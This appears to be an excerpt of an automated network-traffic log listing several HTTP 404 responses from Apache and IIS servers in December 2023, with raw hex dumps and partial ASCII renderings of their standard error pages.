Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:04:38 GMTServer: ApacheContent-Length: 315Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:27 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:27 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-UA-Compatible: IE=edge,chrome=1X-Powered-By: PbootCMSSet-Cookie: lg=cn; path=/X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:38 GMTContent-Length: 766Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" he
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-UA-Compatible: IE=edge,chrome=1X-Powered-By: PbootCMSSet-Cookie: lg=cn; path=/X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:38 GMTContent-Length: 766Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" he
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:27 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:28 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
